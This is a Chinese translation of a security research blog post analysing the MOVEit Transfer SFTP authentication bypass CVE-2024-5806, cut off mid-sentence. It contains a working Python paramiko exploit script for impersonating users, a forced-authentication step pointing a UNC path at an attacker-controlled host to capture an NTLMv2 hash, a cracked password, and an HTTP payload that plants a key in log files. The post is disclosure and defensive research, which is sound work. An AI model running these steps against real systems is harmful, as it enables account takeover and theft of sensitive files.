原文地址:https://labs.watchtowr.com/auth-bypass-in-un-limited-scenarios-progress-moveit-transfer-cve-2024-5806/
发表时间:2024年6月25日
2024 年某月的某天凌晨,watchTowr Labs 收到了一条聊天记录:
13:37 -!- dav1d_bl41ne [[email protected]] 已加入 #!hack (irc.efnet.nl)
13:37 -!- dav1d_bl41ne 将 #!hack 主题更改为:mag1c sh0w t1me
13:37 < dav1d_bl41ne> 朋友们,大家早上好
13:37 < dav1d_bl41ne> 最近一直在邮件 spoolz 周围打探
13:37 < dav1d_bl41ne> 供应商现在太害怕向公众披露漏洞
13:37 < dav1d_bl41ne> 销售团队、售前团队,都说“出于安全原因”要保密补丁
13:37 < dav1d_bl41ne> 很奇怪,是吗?
13:37 < dav1d_bl41ne> 但是朋友们,请记住这一点 - 当一家安全公司深入研究漏洞以保护客户时
13:37 < dav1d_bl41ne> 发布他们的技术分析
13:37 < dav1d_bl41ne> 你真的认为他们是唯一知道的人吗?
13:37 < dav1d_bl41ne> 认为 APT 组织蒙在鼓里?
13:37 < dav1d_bl41ne> 认为 APT 组织不知道并且也没有研究 nday?
13:37 < dav1d_bl41ne> 认为勒索软件团伙也无法读取代码?
13:37 < dav1d_bl41ne> Progress,他们一直给客户发邮件
13:37 < dav1d_bl41ne> 讨论修补 MOVEit 系统
13:37 < dav1d_bl41ne> SFTP 中的一些身份验证绕过
13:37 < dav1d_bl41ne> 有趣吧?安全文件传输解决方案的安全文件传输协议中的身份验证绕过
13:37 < dav1d_bl41ne> 信息封锁直到6月25日
13:37 < dav1d_bl41ne> 请尊重这一点.. 我们不是为了madruquz而来
13:37 < dav1d_bl41ne> MOVEit Transfer ver 2023.0 及更新版本受到影响
13:37 < dav1d_bl41ne> MOVEit Gateway 2024.0 及更新版本也存在问题
13:37 < dav1d_bl41ne> 影响:“Progress MOVEit Transfer(SFTP 模块)中存在不正确的身份验证漏洞,在有限的情况下可能导致身份验证绕过。”
13:37 < dav1d_bl41ne> 哈哈
13:37 < dav1d_bl41ne> “不正确的身份验证” - 什么身份验证?
13:37 < dav1d_bl41ne> “有限的场景”
13:37 < dav1d_bl41ne> 有限的,比如,整个世界还没有上网?
13:37 < dav1d_bl41ne> 不管怎样,我为朋友提供了起点
13:37 < dav1d_bl41ne> 未打补丁:http://ilike.to/moveit/unpatched.tgz
13:37 < dav1d_bl41ne> 已打补丁:http://ilike.to/moveit/patched.tgz
13:37 < dav1d_bl41ne> 祝好运
这是一种相对不寻常的发现即将出现的漏洞的方法,但无论如何,dav1d 似乎是值得信赖的——否则我们怎样才能发现被封锁的漏洞呢?
背景
今天(2024 年 6 月 25 日),Progress 解除了 Progress MOVEit Transfer 中的身份认证绕过漏洞的禁令。
许多系统管理员可能还记得[去年的 CVE-2023-34362](https://www.theverge.com/23892245/moveit-cyberattacks-clop-ransomware-government-business),这是 Progress MOVEit Transfer 中的一个灾难性漏洞,它在整个行业引起了轩然大波,BBC 和 FBI 等知名机构都受到了该漏洞的影响。敏感数据被泄露,敏感数据被销毁,因为[cl0p 勒索软件团伙](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-158a)利用 0day 窃取数据 - 最终留下了一片混乱。
这确实是一整个行业范围内的事件,因此,有关同一产品中进一步存在“不当的身份认证”漏洞的消息很快就引起了我们全部的关注。
在 watchTowr,当遇到这种情况时(守口如瓶的供应商建议人们修补漏洞),我们会立即采取行动:我们通常会自行承担责任,找出漏洞的真正技术本质。
这项工作直接面向我们的客户,以便他们能够主动保护自己。
对于那些没有遭遇去年灾难、对[Progress MOVEit](https://www.progress.com/moveit)一无所知的管理员,有必要做一点介绍。从本质上讲,它是一款旨在促进大型企业轻松共享文件和协作的应用程序。
它允许基于 Windows 的服务器以与 NAS 设备类似的方式运行,为用户提供多种传输和管理文件的方式 - 例如,他们可以使用 SFTP 上传文件,然后通过 HTTPS 共享。该软件显然是为大型企业设计使用的,它能够无缝融入 PCI 和 HIPAA 等法规,并自豪地宣称“用户身份认证、交付确认、不可否认性和强化平台配置”。
正如我们所见,而且无需证明—这显然是 APT 组织、勒索软件团伙和 Telegram 上拥有 1 亿美元比特币的年轻人的诱人目标。
在禁令解除之前,dav1d_bl41ne 并没有与我们分享大量信息,但他非常友善地向我们提供了 Progress MOVEit Transfer 的已修补和未修补部署 - 这很有帮助。和往常一样,在纯粹的天真和能量饮料的推动下,尽管缺乏支持信息,我们还是决定深入研究,结果发现了一个非常奇怪的漏洞。
编者注:这篇博文内容丰富——一个美丽的漏洞和一个有趣的利用链大师班。
在开始之前,我们想明确说明一下,以防有人被误导—我们不是这个漏洞的最初发现者,我们不会声称自己是,我们也不想成为。一旦我们意识到了,我们会更新这篇文章并注明来源。
和我们一起再次跳进兔子洞。
初始漏洞
设置 MOVEit Transfer 很简单,尽管它要求我们启动 Windows 的“服务器”版本,因为它拒绝在我们的 Windows 10 测试机上运行。
一旦设置好,我们就可以配置服务器并添加一个用户帐户供我们进行实验。默认情况下,该用户可以通过 Web 界面或使用内置的默认启用的 SFTP 服务上传和下载文件。
您可能知道,SFTP 是一种类似于老式 FTP 的文件传输协议,但使用 SSH(“安全外壳”)进行保护。这意味着 SFTP 具有 SSH 带来的所有优势,例如跨平台和支持多种身份认证选项。正如我们上面所看到的,它也是目标代码中所谓的漏洞隐藏的区域。
首先,我们创建了一个新的测试用户,开始登录并执行一些初步检查。例如,我们检查了 SSH 服务中经常启用的危险功能(例如端口转发),以及是否存在空身份认证处理程序,none
。一切似乎都没有问题,因此我们采取了更具侵入性的措施。
为了仔细观察发生了什么,我们将一个调试器附加到服务进程(名为SftpServer
)。我们的目的是详细检查代码流程,以发现任何缺陷。
考虑到供应商的建议,即该漏洞影响的“有限场景”,我们希望使用可以触及的所有功能以覆盖尽可能多的攻击面。其中一个选项是设置 SSH 的“密钥对身份认证”方案 — 一种非常常见(并且经常被推荐)的用于向服务器认证用户身份的安全方式。
在这种身份认证方式下,不是简单地根据用户对密码的了解来识别用户,而是使用某种基于公钥和私钥的加密魔法来认证用户身份。
正确配置此方案后,我们进行了登录,并且我们附加的调试器的输出窗口中立即出现了一些引起我们注意的东西。
您可以想象,调试器会输出一些关于调试者抛出并捕获的异常的非常简要的信息 - 这些信息并不是真正的错误,但却足以导致偏离正常程序流程。
通过这些信息,我们可以了解到服务代码本身的运行情况:
03:05:40.252 Exception thrown: 'System.ArgumentException' in mscorlib.dll
03:05:40.253 Additional information: Illegal characters in path.
这让我们觉得很不寻常。
由于抛出异常很慢,因此开发人员都接受过在正常程序流程中避免抛出异常的培训,并且只在出现某些真正意想不到的情况时才会抛出异常。既然我们看到抛出异常,然后又捕获了异常,那么我们肯定是偶然发现了一些极度不寻常的极端情况,对吧?没有哪个有自尊心的企业级软件会在每次证书认证尝试时都这样做,对吧?!
好吧,你希望如此,但令我们惊讶的是,即使在干净的出厂安装软件中,这种行为仍然存在。只需尝试使用公钥进行身份认证(默认配置中允许)就足以触发此异常并随后被捕获。使用公钥不仅是一种非常常见的做法,而且安全专家在可能的情况下也极力推荐使用公钥,那么为什么这种缺陷一直没有被注意到呢?
嗯,也许是因为,虽然这会产生一些性能影响,但本身并不会影响安全。然而,这似乎是一个足够强烈的“代码异味”,值得进一步调查,因为它表明某个地方出了问题(随后得到了纠正)。
我们的调试器向我们展示了异常发生的确切位置。由于代码被最小化,调试器输出缺少变量名之类的内容,但我们可以看到Path.GetFullPath
方法正在抛出异常:
我们可以看到它传递了一个字符串,这里名为A_0
。 .NET 文档建议此字符串是输入文件路径,.NET 框架随后会将其“规范化”为规范化路径。但是,如果我们检查传入的字符串(这里显示在屏幕底部的“本地”窗口中),我们可以看到它是一些垃圾二进制数据,显然不是真正的文件路径!
您也看到了吗?
我们训练有素的眼睛可以识别出字符串ssh-dss
,这表明文件路径与 SSH 密钥交换(dss
即正在使用的密钥类型)有某种关联。这到底是怎么回事?!这非常出乎意料 - 在身份认证过程中,从未经身份验证的角度来看(即在成功认证身份之前),我们不希望能够影响服务器上的任何文件 IO。
SSHD 服务应该做的就是检查我们提供的身份认证材料的有效性……
我们凭直觉将这个二进制数据与我们在身份认证期间提供的身份认证材料进行了比较,并惊讶地发现它们是相同的 - 服务正在尝试在服务器上将代表我们身份的认证材料的二进制数据作为文件路径打开。有些人可能会认为这确实是一种奇怪的行为 - 但我们从之前的研究中了解到,有时“奇怪的行为”是“意料之中的”。
根据 SSH 规范,这甚至不应该是一个有效的文件路径,而只是服务器应该如此处理的二进制密钥数据。
此 SSH 公钥由客户端提供,作为身份认证过程的一部分,并在身份认证完成之前进行处理。这意味着它处于攻击者的控制之下,即使没有提供任何凭据!
我们想知道,如果我们提供的不是 SSH 公钥本身,而是有效的文件路径,会发生什么情况?我们提供了文件名myfile
,并在服务器上运行“进程监视器”工具,以查看其反应。
哇哦,疯狂还不止于Path.GetFullPath
!我们指定的文件路径实际上正在被服务器访问。
从安全角度来看,在未经身份认证的环境中访问任意文件是一种危险行为,无论实际对它们做了什么。即使没有深入调查服务器如何使用这些数据,也会产生深远的安全后果。
对于那些没有耐心的读者来说,这是一个剧透——最终,这个漏洞允许我们在服务器上冒充任何用户!不过,在我们解释如何冒充之前,重要的是要注意这种奇怪行为所导致的另一种(稍微不那么严重的)攻击。这就是强制身份认证的可能性。
攻击 1:强制身份认证
任何一个有本事的攻击者在读到这篇文章时可能都会口吐白沫,思考着他们可以滥用我们新发现的预认证服务端行为的所有方式。
他们的第一反应可能是执行所谓的强制身份认证攻击,即我们为位于恶意 SMB 服务器上的文件提供基于 IP 地址的 UNC 路径(例如\\192.168.1.1\myfile
)。目标服务器将尝试连接到恶意 SMB 服务器,然后恶意 SMB 服务器将要求目标服务器进行身份认证。由于我们提供的是 IP 地址,而不是域名,因此无法使用更安全的“Kerberos”协议来执行此身份认证,目标将回退到较旧、安全性较低的“Net-NTLMv2”协议。该协议有些过时,并且包含许多缺陷。
这是一个众所周知的教科书式攻击,成熟的项目[Responder](https://github.com/SpiderLabs/Responder)将为我们完成所有艰苦的工作。我们需要做的就是在攻击者控制的主机上运行它以接收连接,将 UNC 路径传递给我们控制的主机,并将 SMB/WebDAV 暴露给服务器,而不是将公钥传递给服务器。服务器将尝试打开 UNC 路径,连接到 Responder,尝试协商身份认证,然后向我们提供最重要的 Net-NTLMv2 哈希。
然而,正如我们之前提到的,发送这样的文件路径而不是公钥违反了 SSH 规范,因此没有现成的 SSH 库允许我们这样做。为了做这种病态的事情,我们需要修改 SSH 库的代码。在这种情况下,我们选择了 Python的paramiko
库。
对Paramiko
执行身份认证方式的一些分析表明,密钥交换代码使用了函数_get_key_type_and_bits
。此函数负责返回作为公钥发送到服务器的二进制数据块(以及密钥类型)。
def _get_key_type_and_bits(self, key):
if key.public_blob:
return key.public_blob.key_type, key.public_blob.key_blob
else:
return key.get_name(), key
这似乎是注入文件路径的最佳位置。我们将重新定义此函数,以便它不返回密钥块,而是返回我们控制的某个文件路径(此处我们用C:\testkey.pem
作为示例)。
payload = "C:\\testkey.pem"
def _get_key_type_and_bits(self, key):
if key.public_blob:
return key.public_blob.key_type, payload
else:
return key.get_name(), payload
AuthHandler._get_key_type_and_bits = _get_key_type_and_bits
然后我们将继续编写一些样板代码来进行连接和认证。
# 打开传输,准备进行身份认证
transport = paramiko.Transport(([IP of server], 22))
# 尝试使用新的密钥对进行身份认证
prvkey = paramiko.dsskey.DSSKey.generate(1024)
transport.connect(None, username = 'test', pkey=prvkey)
您可能注意到,由于我们的修改,尽管我们实际上并没有将密钥发送到服务器,但我们仍然需要提供一个即时生成的私钥。这是因为对服务器的身份认证请求必须经过签名(稍后当我们仔细研究协议的身份验证过程时,将详细介绍)。
让我们看看这种攻击是否有效。我们在恶意主机上启动 Responder 套件,并将修改后的客户端库设置为使用路径\\attacker.watchtowr.com\somefile
。然后我们尝试进行身份认证。
MOVEit 确实连接到了我们的恶意服务器,并且攻击按预期进行。Responder 捕获moveitsvc
服务帐户的 NetNTLM 哈希,该帐户是 SFTP 服务运行的帐户:
[SMB] NTLMv2-SSP Client : 192.168.70.48
[SMB] NTLMv2-SSP Username : WIN-RBNN52OCP49\moveitsvc
[SMB] NTLMv2-SSP Hash : moveitsvc::WIN-RBNN52OCP49:b841031a8e77e3a6:2B1789A107577E59D576D13397608F8C:010100000000000000505D56E4BDDA01F8E9F755EE211580000000000200080053004E003900300001001E00570049004E002D0052004B0052004900320056004F00310051003500390004003400570049004E002D0052004B0052004900320056004F0031005100350039002E0053004E00390030002E004C004F00430041004C000300140053004E00390030002E004C004F00430041004C000500140053004E00390030002E004C004F00430041004C000700080000505D56E4BDDA01060004000200000008003000300000000000000000000000003000001A760C83CAEA4E9CE717192F423D3CE38EAAD8904C73A4AAD3B8EA8194C971150A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E00370030002E0031003600000000000000000000000000
然后可以通过 hashcat
对该哈希进行暴力破解(或者,正如我们为了演示目的所选择的,使用字典进行攻击)。
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: MOVEITSVC::WIN-RBNN52OCP49:b841031a8e77e3a6:2b1789a...000000
..
Recovered........: 1/1 (100.00%) Digests
Candidates.#1....: yDWNqb7yjGtx -> yDWNqb7yjGtx
我们找到了 - 服务密码是yDWNqb7yjGtx
。
这是一个华而不实的演示,由于 MOVEit 所使用的强化和权限分离,它的用途实际上有些有限。
正如您在我们原始的 Responder 输出中看到的,我们获得的哈希值特定于用户帐户moveitsvc
,即 MOVEit 服务帐户。我们希望负责的系统管理员不允许 MOVEit 服务帐户远程登录,理想情况下,他们已经限制了 SMB 流量的覆盖范围,从而减轻攻击。
或者更糟糕的是,使用加入域的帐户......
或者更糟糕的是,一个特权加入域的帐户......
我们希望…。
请………
不过,在继续之前,有一件事需要注意—为了访问 UNC 路径,我们必须向系统提供有效的用户名。这给攻击者带来了一些障碍,但也有副作用:允许我们通过“字典列表”方法检查用户名是否有效。
然而,第二次攻击(破坏性更强)仍有可能发生。让我们继续关注。
攻击 2:冒充任意用户的身份
上面,我们已经概述了一种简单的预身份认证攻击,坦率地说,我们所做的就是向试图读取文件的服务器提供文件路径。此时,我们甚至不知道服务器对我们的文件路径做了什么 - 但我们知道 Progress 将此漏洞描述为允许“身份认证绕过”。
为了深入挖掘,我们需要准确理解读取文件时发生的情况,以便我们可以操纵 SSHD 服务读取该文件。
首先,让我们分享一些有关 SSH 身份认证阶段的背景知识,SFTP 协议就是在此基础上运行的(有关更多详细信息,请参阅[SSH RFC](https://www.ietf.org/rfc/rfc4252.txt),RFC 4252,其可读性极佳)。
SSH 中的身份认证非常灵活(正如 Progress 正在慢慢证明的那样)。
在与服务器协商连接并认证服务器身份后,客户端可以自由地以各种形式(例如密码或通过密钥对)发送身份认证请求。每次身份认证尝试后,服务器都会做出响应,并可以接受或拒绝该尝试,或请求额外的身份认证 - 例如,服务器可能既需要注册的公钥对,也需要密码。
请注意,如果身份认证尝试失败,连接不会关闭,而是保持打开状态,然后客户端可以自由发送后续身份认证尝试。
虽然“密码”认证类型是不言而喻的,但密钥对认证机制值得解释一下。
该方案使用一对文件(一个公共部分和一个私有部分)来向服务器证明用户的身份。公共部分通过某种预先设置的机制部署到服务器,而私有部分则在客户端上保密。当需要进行身份认证时,客户端将向服务器发送身份认证请求,其中包含请求的用户名和公钥。然后,它将使用私有部分对其进行签名,并将整个请求发送到服务器。
然后,服务器必须验证两件事,这两件事都至关重要 - 首先,签名是否正确;其次,提供的密钥对于尝试登录的用户来说是否是有效的密钥(即,用户之前已将公共部分添加到他们的帐户)。
最终,一旦服务器确信用户就是他们所说的身份,它就会将这一情况通知客户端,连接继续进入下一阶段,并授予访问权限(因此在这种情况下,访问文件就成为可能)。
这是一个复杂的过程,因此 MOVEit 开发人员选择使用第三方库来处理它(以及所有其他低级 SSH 功能)。
所讨论的库是[IPWorks SSH](https://www.nsoftware.com/ipworksssh),它是一款相当流行的商业产品,平均每天通过[Nuget包管理器](https://www.nuget.org/packages/nsoftware.IPWorksSSH)下载 33 次。 MOVEit 实现了一些额外的功能来扩展该库。
例如,MOVEit 允许用户将认证密钥存储在数据库而不是文件中,并提供代码来处理它。
MOVEit 将“繁重工作”留给了 IPWorks 库,并仅实现了需要扩展的部分(正如您所期望的那样)。由于用户管理由 MOVEit 处理,因此它扩展了身份认证以根据其内部数据库检查授权。
使用反编译器查看代码,我们可以找到 MOVEit 用于检查身份认证请求是被允许还是拒绝的代码。
这是恰当的命名方法(编者注:是吗?)Authenticate
,为简洁起见,这里仅复制部分:
public AuthenticationResult Authenticate(SILUser user)
{
if (string.IsNullOrEmpty(this._publicKeyFingerprint) && !this._keyAlreadyAuthenticated)
{
this._logger.Error("Attempted to authenticate empty public key fingerprint");
return AuthenticationResult.Denied;
}
if (string.IsNullOrEmpty(user.ID))
{
this._logger.Debug("No user ID provided for public key authentication");
return AuthenticationResult.Denied;
}
if (this._signatureIsValid != null && !this._signatureIsValid.Value)
{
this._logger.Error("Signature validation failed for provided public key");
this.StatusCode = 2414;
this.StatusDescription = "Signature validation failed for provided public key";
return AuthenticationResult.Denied;
}
...
如您所见,该方法返回一个AuthenticationResult
,指定身份认证的结果,同时还设置StatusCode
指定失败的详细信息。
它检查公钥是否有效且不为空,如果是,则拒绝请求,同时检查提供的用户名是否有效,如果用户名无效,则再次拒绝请求。它继续检查身份认证请求的签名,如果签名无效,则拒绝身份认证,并将StatusCode
设置为一个表示该状况的值。
然而,此代码中有一件事很有趣。请注意,除了通过返回码发出身份认证结果信号,一些地方还设置了StatusCode
,而其他地方(例如前两个)将返回AuthenticationResult.Denied
并保持StatusCode
设置为其默认值零。
乍一看,这没什么意思,因为该函数正确地拒绝了身份认证,尽管没有提供任何理由。然而,对调用Authenticate
函数的代码进行一些分析后,情况就大不相同了。
这是因为,在代码的其他地方,“AuthenticationResult.Denied
但StatusCode
设置为零”的组合实际上用于表示完全不同的情况 - 公钥经过验证并且正确,但需要额外的身份认证步骤(例如,需要额外的密码)。我们可以通过检查此函数来发现这一点,它会向系统日志添加一条启发性消息:
if (globals.objUser.ErrorCode == 0)
{
this._logger.LogMessage(LogLev.MoreDebug, validationOnly ? "Client key validation successful but password is also required" : "Client key authentication successful but password is also required");
return AuthenticationResult.Indeterminate;
}
最终结果是,如果我们能触发前两个错误处理程序之一,我们也会触发这个附加代码 - 尽管没有提供有效的密钥。但我们该如何做到这一点呢?
这就是我们初始漏洞观测发挥作用的地方。
正如我们之前所说,传递文件路径而不是公钥将导致从服务器上的该文件加载密钥。此步骤由 IPWorks SSH 执行。然而,出于某种原因,我们只能推测,当公钥已从文件加载时,IPWorks 不会将其传递给 MOVEit。相反,在这种情况下,IPWorks 将简单地传递空字符串“”而不是公钥。
由于传入了空字符串给Authenticate
,因此检查string.IsNullOrEmpty(this._publicKeyFingerprint)
将通过,从而触发错误处理代码。Authenticate
将返回状态Denied
但不会设置StatusCode
,因此保留为零。然后调用者会将其解释为需要进行额外身份认证。
当然,首先我们要进入检查密钥和调用Authenticate
方法的代码,就必须满足一些额外的约束:
-
首先,我们必须向服务器提供有效的用户名,并且
-
其次,认证数据包必须通过服务器强制的签名检查。
这意味着我们必须使用密钥的私钥部分对身份认证请求进行签名,然后在服务器端指定该密钥的路径。这样,服务器就可以使用在其文件系统上找到的密钥来验证身份认证数据包。
由于我们有可用的密钥,因此我们自己可以轻松地对身份认证请求进行签名,但它提出了额外的要求,即服务器需要可用的公钥才能校验指纹并确认其正确无误。
为了便于解释,我们假设我们有足够的权限访问服务器,可以上传自己的公钥。考虑到 MOVEit 的多用户特性,这并不牵强。
此外,一旦我们解释完该漏洞的这一部分,我们将继续探讨如何消除这一限制,而消除这一限制有多种技术。
以下是我们刚刚发现的内容的简要总结:
-
我们假设我们能上传公钥到服务器的文件系统
-
如果我们尝试进行身份认证,但提供的是文件名而不是公钥,那么 IPWorks SSH 将在服务器上读取该文件,并使用它来验证身份认证请求/尝试
-
然后,IPWorks SSH 将身份认证交给 MOVEit 的
Authenticate
方法,并向其传递空字符串(“”)而不是指纹 -
Authenticate
然后就会采用一段有缺陷的代码,即使身份认证本该失败,我们仍可以继续进行身份认证。
这是没有太多实际验证的很大程度上的理论流程——让我们尝试一下来解决这个问题!
首先,我们生成一个密钥对,并将公共部分放在服务器上C:\testkey.pem
。
其次,我们发送身份认证请求,提供路径C:\testkey.pem
而不是密钥。我们还使用相同的密钥对数据包进行签名。
执行此操作后,我们看到 MOVEit 产生的日志消息有一个有趣的组合 - 这是一个明确的迹象,表明身份认证链中存在一些问题:
UserAuthRequestHandler: SftpPublicKeyAuthenticator: Attempted to authenticate empty public key fingerprint
SILUser.ExecuteAuthenticators: User 'user2' was denied authentication with authenticator: MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator; ceasing authentication chain
UserAuthRequestHandler: Client key validation successful but password is also required
这是矛盾的—第一条消息告诉我们,使用了空公钥尝试身份认证,因此身份认证被明确拒绝。然而,第二行告诉我们密钥验证成功。
这符合我们的预期——Authenticate
方法拒绝了我们的密钥,但Authenticate
的调用者错误地认为它已被接受。
鉴于此,则允许用户继续进行身份认证。身份认证被评估为Indeterminate
,就像我们提供了有效密钥但服务器需要进一步的身份证明一样。
值得注意的是,该用户随后被标记为已通过公钥正确认证:
switch (authResult)
{
...
case AuthenticationResult.Indeterminate:
userAuthResult.AuthResult = AuthResult.PartialSuccess;
userAuthResult.AvailableAuthMethods = new string[] { "password" };
authContext.Session.HasAuthenticatedByPublicKey = true;
authContext.Session.LastPublicKeyFingerprint = publicKeyFingerprint;
return userAuthResult;
...
总而言之,我们提供了一个空私钥文件,并被错误地标记为部分认证。然后服务器提示我们输入密码以完成认证。
这显然是一个错误案例,但乍一看,它似乎是无害的。毕竟,我们还没有完全通过身份认证。我们不知道用户的密码,所以我们无法完成身份认证。无害,对吧?
嗯,不是。事实证明,这里还有另一个关键的极端情况。
如上所示,HasAuthenticatedByPublicKey
的值已设置为true
,并且LastPublicKeyFingerprint
设置为用户已进行身份认证的指纹(在本例中为空长度字符串)。MOVEit 通常使用此值来避免两次验证相同的签名,因为验证它的计算成本很高。它是一种缓存。通常,此LastPublicKeyFingerPrint
值设置为密钥的指纹,但由于我们发送了一个包含路径而不是密钥本身的数据包,因此它被设置为空长度字符串“”。
这使得 MOVEit 认为公钥认证已经成功,此外,公钥指纹“”对于给定用户来说是有效的和授权的。
现在,由于服务器没有拒绝我们的身份认证,身份认证过程将使用相同的空长度字符串作为公钥来继续。但是,这一次,在 MOVEit 尝试验证密钥之前,它会注意到密钥已经过身份认证并且被发现是正确的:
UserAuthRequestHandler: Client key fingerprint already authenticated for user user2; continuing with user authentication process
注意“fingerprint”和“already”之间的两个空格 - 那里通常是打印指纹的地方。在本例中,指纹是长度为零的字符串“”。
然后,服务器将尝试继续身份认证过程,使用它认为是有效的公钥(但实际上是空长度字符串)。Authenticate
方法再次调用,这一次,它发现_keyAlreadyAuthenticated
为true
。这导致它跳过我们之前遇到的空长度检查。其他所有测试都通过,我们继续返回AuthenticationResult.Authenticated
。这在系统日志中被视为成功的身份认证:
SILUser.ExecuteAuthenticators: Authenticating user 'user2' with authenticator: MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator
SILUser.ExecuteAuthenticators: User 'user2' authenticated with authenticator: MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator
最终结果是用户成功通过身份认证,尽管用于身份认证的唯一密钥是空长度字符串。
这是一种毁灭性的攻击 - 它允许任何能够在服务器上放置公钥的人冒充 SFTP 任何用户的身份。从这里,该用户可以执行所有常规操作 - 读取、写入或删除文件,或者以其他方式制造混乱。
这是一个有点技术性的解释,特别是考虑到实际利用非常简单。我们真正需要做的就是遵循几个简单的步骤:
-
上传公钥到服务器
-
认证。无需提供有效的公钥进行认证,只需发送服务器上公钥文件的路径即可。像平常一样,使用我们之前上传的相同密钥对认证请求进行签名。
-
服务器将接受密钥,登录将成功。现在我们可以从目标访问任何我们想要的文件,就像我们是我们指定的用户一样。
对于那些喜欢阅读代码的人来说,这里有一个执行这些步骤的脚本。
import logging
import paramiko
import requests
from paramiko.auth_handler import AuthHandler
username = '<target user>'
pemfile = 'key.pem'
host, port = "<target hostname>", 22
# 在Paramiko中修补此功能,以便注入我们的payload而不是SSH密钥
def _get_key_type_and_bits(_, key):
payload = "C:\\testkey.pem" # 服务器上的目标文件路径
if key.public_blob:
return key.public_blob.key_type, payload
else:
return key.get_name(), payload
AuthHandler._get_key_type_and_bits = _get_key_type_and_bits
# 连接 SFTP 会话
transport = paramiko.Transport((host, port))
transport.connect(None, username, pkey=paramiko.dsskey.DSSKey.from_private_key_file(pemfile))
# 展示已完成的工作,显示用户home目录的内容
sftp = paramiko.SFTPClient.from_transport(transport)
print(f"Listing files in home directory of user {username}:\r\n")
for fileInfo in sftp.listdir_attr('.'):
print(fileInfo.longname)
正如我们预期的那样,输出是目标用户home目录中的文件列表。
(venv) c:\code\moveit>python ssh.py
Listing files in home directory of user user2:
-rw-rw-rw- 1 0 0 31.9M Jun 11 11:39 stocks.xlsx
-rw-rw-rw- 1 0 0 2.4M Jun 13 13:32 customer_list.xlsx
-rw-rw-rw- 1 0 0 2.3M Jun 15 12:16 payroll_Jun.csv
-rw-rw-rw- 1 0 0 1.2M Jan 21 10:03 my_signature.png
-rw-rw-rw- 1 0 0 304 Jun 17 17:29 passwords.txt
哇哦!我们已经证明我们已成功认证了此用户的身份。从这里,我们可以执行用户可以执行的任何操作 - 包括读取、修改和删除之前受保护且可能敏感的数据。
太棒了!我们找到了一种方法,让有效用户冒充系统上的任何其他用户,但需要他们能够上传公钥文件才能使用。
对于渗透测试人员来说,前提条件很无趣。我们承诺过会解释如何绕过这一要求,所以让我们继续。
无文件利用
考虑到 MOVEit 的威胁模型,这是一个令人担忧的漏洞,因此也是一种攻击。
鉴于该软件的目的是共享文件,攻击者必须能够上传文件这一要求将门槛设得很低,但仍然是一个门槛。
但是,我们可以做得更好。让我们看看是否可以绕过该要求。
首先,有一个明显的可能性—我们可以在远程服务器上托管公钥文件,并为其提供 UNC 路径。
然后服务器将直接从网络加载它。我们假设任何运行 MOVEit 的管理员都已通过防火墙或类似的东西正确限制了出站 SMB 流量(如果您还没有,您绝对应该这样做)(哈哈,您这样做了,对吗?告诉我们您这样做了吗?)
我们可以做得更好。
此时,我们不再考虑 SFTP 组件,而是花了一段时间寻找从主 MOVEit Web 应用程序获取文件上传原语的方法。任何类型的匿名文件上传都足够好,只要我们能满足两个条件:
-
首先,我们必须能够上传有效的 SSH 公钥,而无需对主机进行任何认证/合法访问,并且,
-
其次,文件的路径必须是可预测的,以便我们可以在 SSH 身份认证过程中可预测地提供它。
不幸的是,我们没有立即找到任何满足这组条件的东西。
然而,最终,经过对这个问题的一番思考,我们获得了启迪。
我们意识到,到目前为止,我们的操作已经导致数据以可预测的文件路径写入服务器磁盘!你能指出我们间接提到的机制是什么吗?
是的!没错!系统日志文件!
它们位于磁盘上的可预测位置,当我们从服务器请求任何内容时,我们可以将数据写入其中。如果我们在 HTTP 请求中提供公钥,它将被写入日志文件,然后我们可以在 SSH 身份认证请求中指定日志文件的路径!
有许多方法可以诱导 MOVEit 服务器记录我们提供的数据。最简单的方法是尝试登录,这将导致提供的用户名输入到系统日志中:
SILUser.ExecuteAuthenticators: User 'Sina' was denied authentication with authenticator: MOVEit Internal User Store Authenticator; ceasing authentication chain
我们可以通过 HTTP 接口提供公钥而不是用户名:
POST /human.aspx HTTP/1.1
Host: {{host}}
Content-Length: 1480
transaction=signon&fromsignon=1&InstID=8294&Username=
---- BEGIN SSH2 PUBLIC KEY ----
Comment: "[email protected]"
AAAAB3NzaC1kc3MAAACBAIrAsIu1tvkRHImLwuv9/OhnHwhPjndOX17quEPJBAcq
...
AzY4ofp+AFdG4m064RsTi2GBR7Tr1WiQmCywPcv6SKBi5roxPCi3x1aotjQnd6JN
Pw==
---- END SSH2 PUBLIC KEY ----
&Password=a
这确实会导致密钥被添加到系统日志中:
SILUser.ExecuteAuthenticators: User '
---- begin ssh2 public key ----
comment: "[email protected]"
aaaab3nzac1kc3maaacbairasiu1tvkrhimlwuv9/ohnhwhpjndox17quepjbacq
...
azy4ofp+afdg4m064rsti2gbr7tr1wiqmcywpcv6skbi5roxpci3x1aotjqnd6jn
pw==
---- end ssh2 public key ----
' was denied authentication with authenticator: MOVEit Internal User Store Authenticator; ceasing authentication chain
乍一看,这看起来非常有希望。
我们已将 SSH 公钥插入系统日志文件,并且我们可以使用前面提到的 make-SSHD-read-any-file-unauth-as-part-of-the-auth-process 漏洞来指定该系统日志文件包含我们的 SSH 公钥。
然而,我们失望地发现它不起作用——服务器直接拒绝了我们的登录请求,并记录了一条条目,表示无法加载私钥内容:
Status message from server: SSH handshake failed: The certificate store could not be opened.
事实上,服务器认为这种情况不可接受有两个不同的原因。
首先,关键数据位于文件的中间,而不是文件的开头。
当 MOVEit 尝试从文件加载密钥时,它不会跳过额外的数据,如果文件不是以 SSH 密钥签名(---- BEGIN SSH2 PUBLIC KEY
)开头—文件加载过程将中止,并且不会加载密钥。
其次,如果我们能够满足上述条件,那么还存在一个进一步的问题。
仔细查看日志文件,您可能会注意到密钥数据已变为小写。这导致文件签名不正确,因为它必须是大写,并且密钥数据的解码也会失败,因为 Base64 区分大小写。
有点失望,我们搜索了可以在文件开头记录任意数据且不对其进行修改的端点。这是一个相当具体的要求,然而我们四处搜索,却没有找到可以满足它的方法。
我们搜索到的最接近的结果是MOVEit.DMZ.WebApp.SILGuestAccess.GetHTML
方法,它似乎以一种更干净的方式记录不受信任的数据。 经过一点逆向工程,我们发现/guestaccess.aspx
端点的Arg12
参数未经任何修改就被传递到了日志记录函数中。
我们对其执行了 POST请求,为transaction
